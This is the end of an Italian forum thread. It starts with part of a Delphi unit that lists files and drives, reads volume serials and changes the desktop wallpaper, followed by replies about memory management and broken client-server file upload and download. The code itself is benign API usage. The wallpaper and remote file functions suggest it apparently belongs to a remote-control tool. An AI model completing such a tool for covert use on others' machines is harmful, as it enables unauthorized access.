  232. if (searc_rec.Attr and faReadOnly > 0) then s_readonly := 'r' else s_readonly := '-';
  233. if (searc_rec.Attr and faArchive > 0) then s_archive := 'a' else s_archive := '-';
  234. if (searc_rec.Attr and faSysFile > 0) then s_system := 's' else s_system := '-';
  235. if Not (searc_rec.Attr and faDirectory > 0) then  appendstr(s_files,searc_rec.name + '?' + inttostr(searc_rec.Size) + '¿' + s_readonly + s_hidden + s_archive + s_system + cr_lf);
  236. i_loop := FindNext(searc_rec);
  237. end;
  238. except
  239. raise;
  240. end;
  241. FindClose(searc_rec);
  242. result := s_dirs + ':' + s_files;
  243. end;
  244. //==============================================================================
  245. Function Show_Drives:string;
  246. //==============================================================================
  247. var i1:Integer;s1,s2,s3,s4:String;
  248. begin
  249. s2 := Chr(0);
  250. SetLength(s1,255);
  251. GetLogicalDriveStrings(255,Pchar(s1));
  252. i1 := Pos(s2,s1);
  253. while i1 > 0 do begin
  254. s3 := Copy(s1,1,i1 - 1);
  255. if Length(s3) <> 3 then break;
  256. s3 := s3 + drive_type(s3) ;
  257. s1 := Copy(s1,i1 + 1,Length(s1));
  258. i1 := Pos(s2,s1);
  259. s4 := s4 + s3 + cr_lf;
  260. end;
  261. Result := Copy(s4,1,Length(s4));
  262. end;
  263. //==============================================================================
  264. Function Show_Drives_Ex:string;
  265. //==============================================================================
  266. var i1:Integer;s1,s2,s3,s4:String;
  267. begin
  268. s2 := Chr(0);
  269. SetLength(s1,255);
  270. GetLogicalDriveStrings(255,Pchar(s1));
  271. i1 := Pos(s2,s1);
  272. while i1 > 0 do begin
  273. s3 := Copy(s1,1,i1 - 1);
  274. if Length(s3) <> 3 then break;
  275. s3 := s3 + drive_type(s3) + drive_info(s3);
  276. s1 := Copy(s1,i1 + 1,Length(s1));
  277. i1 := Pos(s2,s1);
  278. s4 := s4 + s3 + cr_lf;
  279. end;
  280. Result := Copy(s4,1,Length(s4));
  281. end;
  282. //==============================================================================
  283. Function Drive_Type(s_drive:string):string;
  284. //==============================================================================
  285. var i_drive:integer;
  286. begin
  287. i_drive := GetDriveType(pchar(s_drive));
  288. case i_drive of
  289. DRIVE_REMOVABLE: result:= ' >>Removeble';
  290. DRIVE_FIXED: result:= ' >>Fixed';
  291. DRIVE_REMOTE: result:= ' >>Remote';
  292. DRIVE_CDROM: result:= ' >>CDrom';
  293. DRIVE_RAMDISK: result:= ' >>Ramdisk';
  294. else result:= ' >>Unknown';
  295. end;
  296. end;
  297. //==============================================================================
  298. Function Drive_Info(s_drive:string):string;
  299. //==============================================================================
  300. var c_volname,c_volsize: array [0..$FF] of char;
  301. w_serial,w_temp,temp_w:DWord;s_serial:String;
  302. begin
  303. try
  304. GetVolumeInformation(pchar(s_drive),c_volname,SizeOf(c_volname),@w_serial,w_temp,temp_w,c_volsize,SizeOf(c_volsize));
  305. s_serial := format('%.4x-%.4x',[hiword(w_serial),loword(w_serial)]);
  306. if s_serial = '0000-0000' then begin
  307. c_volname := 'n/a';
  308. c_volsize := 'n/a';
  309. s_serial := 'n/a';
  310. end;
  311. Result := ' - ' + c_volsize + ' - ' + s_serial + ' - ' + c_volname ;
  312. except end;
  313. end;
  314. //==============================================================================
  315. Function Change_WallPaper(s_img:string):string;
  316. //==============================================================================
  317. var p_img:pchar;b_result:bool;
  318. begin
  319. appendstr(s_img,chr(0));
  320. p_img := @s_img[1];
  321. try
  322. b_result := SystemParametersInfo(SPI_SETDESKWALLPAPER,0,p_img,SPIF_UPDATEINIFILE or SPIF_SENDWININICHANGE);
  323. if b_result then result := 'wallpaper changed' else result := 'error changing wallpaper';
  324. except end;
  325. end;
  326.  
  327. end.


Spero che puoi aiutarmi ad aggiornarlo e migliorare il suo codice.

Ultima modifica effettuata da Mario84 il 01/12/2014 alle 0:59
PM Quote
Avatar
Goblin (Member)
Expert


Messaggi: 375
Iscritto: 02/02/2011

Segnala al moderatore
Postato alle 14:36
Lunedì, 01/12/2014
Sul sorgente "non ci metto becco" io rifarei tutto da 0, una cosa su tutte: "QUELLO CHE SI CREA DEVE DISTRUGGERE" ho trovato delle TStringList create ma non distrutte, le ho messe a posto, gli errori nel try except devono essere gestiti da un gestore centrale o, nel peggiore dei casi, in locale, ma DEVONO ESSERE GESTITI altrimenti in caso di errore non si capisce il motivo del malfunzionamento del software.
Ho riscostruito il progetto con i 2 file .pas che hai postato, allego il progetto compilabile, ma per il funzionamento ... non saprei dire niente.
G.


Goblin ha allegato un file: TofyTest.zip (64507 bytes)
Clicca qui per scaricare il file


Ibis redibis non morieris in bello
PM Quote
Avatar
Mario84 (Normal User)
Newbie


Messaggi: 8
Iscritto: 24/11/2014

Segnala al moderatore
Postato alle 18:54
Lunedì, 01/12/2014
Grazie Goblin, ho già testato il tuo progetto ma non riesco ancora a far funzionare il Download e upload dei file per lo meno i file vengono caricati e inviati ma soltanto a metta. Grazie di avermi coretto ed evidenziato l'errore delle TStringList che si creano ma non si distruggono. Posso chiederti un file client e server di esempio di comunicazione dove posso leggere e capire come gestire al meglio il TStringList dalla loro creazione alla distruzione  di esse? Cosi posso studiare un'altra cosa che non sapevo.Grazie ancora Goblin.

PM Quote